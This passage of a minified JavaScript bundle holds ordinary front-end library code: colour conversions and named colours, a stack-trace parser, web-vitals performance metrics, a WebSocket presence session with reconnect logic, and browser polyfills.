r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises 